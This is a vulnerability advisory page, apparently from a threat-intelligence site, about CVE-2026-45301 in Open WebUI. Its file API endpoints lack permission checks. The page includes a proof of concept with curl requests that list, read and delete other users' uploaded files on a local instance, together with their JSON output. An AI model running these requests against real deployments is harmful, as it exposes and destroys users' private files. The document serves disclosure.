Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-45301 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.
All files/ related endpoints lack permission checks.
For example, let's see how file listing is implemented:
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26
Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.
This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollamatest.txt in a conversation with modelmydeepest_secret.docx in a conversation with model/api/v1/files/curl -X 'GET' \
'http://localhost:3000/api/v1/files/' \
-H 'accept: application/json'
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
},
{
"id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
"meta": {
"name": "mydeepest_secret.docx",
"content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"size": 6485,
"path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
},
"created_at": 1724710236
}
]
/api/v1/files/{id}/contentcurl -X 'GET' \
'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
-H 'accept: application/json'
wow
/api/v1/files/{id}curl -X 'DELETE' \
'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
-H 'accept: application/json'
{
"message": "File deleted successfully"
}
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
}
]
Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.
In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.
Thanks in advance and have a good week (:
This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).